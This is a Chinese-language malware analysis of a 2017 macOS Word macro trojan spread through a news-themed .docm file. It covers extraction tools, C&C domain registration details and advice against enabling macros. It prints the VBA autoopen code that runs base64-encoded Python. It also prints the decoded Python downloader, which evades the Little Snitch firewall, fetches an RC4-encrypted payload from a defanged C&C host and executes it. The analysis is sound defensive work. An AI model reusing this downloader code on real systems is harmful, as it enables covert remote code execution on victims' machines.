随着勒索软件在2016年的爆发,大量的恶意软件选择在邮件中使用含有宏的word文档进行伪装攻击。当用户打开文档时,如果不慎点击了“启用宏”的选项,宏木马会第一时间执行各类恶意行为,比如对用户的文件进行加密,或者安装远控木马等。
进入2017年,基于文档型宏木马的攻击仍然处于高活跃状态,更值得关注的是,木马制作团队已经开始将攻击目标指向了MacOS系统。近期,国外媒体报道了一个在MacOS平台中传播的word文档型宏木马,哈勃分析系统第一时间进行了跟进分析。
1. 基本信息
本次捕获的样本是一个docm格式的文件,即带有宏的word文档文件。其在VirusTotal中的基本信息如下:
文件大小:32.9 KB
标题:U.S. Allies and Rivals Digest Trump’s Victory - Carnegie Endowment for International Peace.docm
首次提交时间:2017-01-16 18:48:58
从标题和首次提交时间来看,该样本试图借助美国总统就职的热点新闻事件进行传播扩散。
MacOS平台上文档型宏样本的分析方法,同Windows平台上的分析方法类似,主要是静态分析和动态分析。静态分析包括解压文件、提取VBA代码、解密代码等项目,动态分析包括进程、网络等分析子项目。
2. 解压文件
word 2007之后版本的docx、docm文件本质上是一个zip文件,可以使用unzip命令进行解压。如下命令展现了文档解压之后的子文件的目录结构。其中word/vbaProject.bin就是文档中宏代码所在的文件。
root
3. 提取VBA代码
VBA代码可以通过ClamAV自带的sigtool进行提取,命令如下:
root@remnux:~/macos# sigtool --vba ./word/vbaProject.bin
提取出的VBA代码,包括一些注释,经过进一步的分析,这里将关键性的自启动代码进行展示:
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Sub autoopen()
Fisher
End Sub
Public Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
Public Sub Fisher()Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
...
cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="
result = system("echo ""import sys,base64;exec(base64.b64decode("" " & cmd & " ""));"" | python &")End Sub
4. 解密代码
从第二步提取出的VB代码来看,主要使用的函数有三个:
首先是autoopen,当文档被打开时会被自动调用。
其次Fisher函数会在autoopen时被调用,内容主要是将cmd变量拼接,然后使用base64进行解码,解码之后的代码会被传入python中执行,执行的过程使用了第三个函数system。
在常见的VBA开发中,调用系统命令使用的是内置的Shell函数。而此次木马使用的system函数,是从MacOS上的动态连接库文件libc.dylib文件中导出的函数,这是此木马针对MacOS平台的一个表现。如果在Windows平台下执行这段宏,会提示声明中的libc.dylib文件找不到,无法继续执行。
木马使用system函数执行系统命令,将一段经过base64解码之后的代码传给Python解释器进行执行。由于MacOS系统默认自带了Python解释器,执行此命令时不会遇到兼容性问题。解码后的Python代码如下所示:
import ssl;
...
import sys, urllib2;
import re, subprocess;
cmd = "ps -ef | grep Little Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
sys.exit()
o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();UA='Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';o.addheaders=[('User-Agent',UA)];a=o.open('https://www[.]securitychecking[.]org:443/index.asp').read();key='fff96aed07cb7ea65e7f031bd714607d';S,j,out=range(256),0,[]
for i in range(256):
j=(j+S[i]+ord(key[i%len(key)]))%256
S[i],S[j]=S[j],S[i]
i=j=0
for char in a:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
out.append(chr(ord(char)^S[(S[i]+S[j])%256]))
exec(''.join(out))
此python代码就是这份文档中包含的真正的恶意代码。主要有如下功能:
首先判断Little Snitch防火墙进程是否存在。
如果不存在,就使用HTTPS协议下载加密的payload。
然后对内存中的payload进行解密,使用了对称加密算法,主要使用了置换和异或操作,其密钥是:fff96aed07cb7ea65e7f031bd714607d。
最后使用python中的exec函数执行下载的payload,下载器的工作完成,开始真正的恶意流程。
5. 动态分析
在动态分析过程中,分析人员将木马样本置于虚拟机中进行分析,发现用户点击“启用宏”是本次木马能够成功运行的关键前提。如下图所示。
当用户点击“启用宏”按钮后,文档中的VB代码便会自动运行,执行前述的解密python代码、下载payload、运行payload等一系列操作。
此时,在word 中选择工具->宏->VB编辑器菜单选项,也可以看到恶意VB代码。如下图所示。
基于前面的静态分析,本次动态分析以网络监控为主。使用tcpdump命令可以将网络流量进行记录,用于之后的分析。
tcpdump -i any -w sample.pcap
也可以使用网络分析工具Wireshark中对网络行为进行监控,例如此木马发送DNS请求的情况如下:
6. C&C服务器分析
前面的静态分析和动态分析中提取的C&C服务器信息,都指向了同一个域名:www[.]securitychecking[.]org。
经过查询域名相关信息,可以看到此域名的注册者为:
Name:Michel Ward
Address:2539 Wayback Lane
City:Riverhead
State / Province:New York
Postal Code:11901
Country:US
Email:miward#yandex[.]com
同时,此注册者还注册了另外一个域名:d7y57o5a[.]com。
从以上信息可以看出,注册者提供的地点是在美国,但是使用的邮箱是俄罗斯著名互联网企业Yandex提供的邮箱。遗憾的是,在对木马进行分析的时候,域名www[.]securitychecking[.]org已经被攻击者弃用,已经无法解析IP。根据之前安全专家的分析,域名以前对应的IP也位于俄罗斯境内。
7. 防范策略
对于MacOS平台上的宏木马,目前仍处于技术发展的探索阶段,但是借助Windows平台上宏木马的成熟技术,再加上MacOS中提供的一些便利的执行条件(例如Python环境、shell命令等),预计今后一段时间,这类新型的攻击方式会出现大幅度的增长。
在此提醒用户,即使是在使用Mac电脑的时候,也不应该放松警惕。在打开word文档时,不要轻易选择“启用宏”选项,特别是对于邮件中的word附件要进行反复确认。保持良好的安全习惯,才能在各种不同的设备上保障自身的安全。
最新评论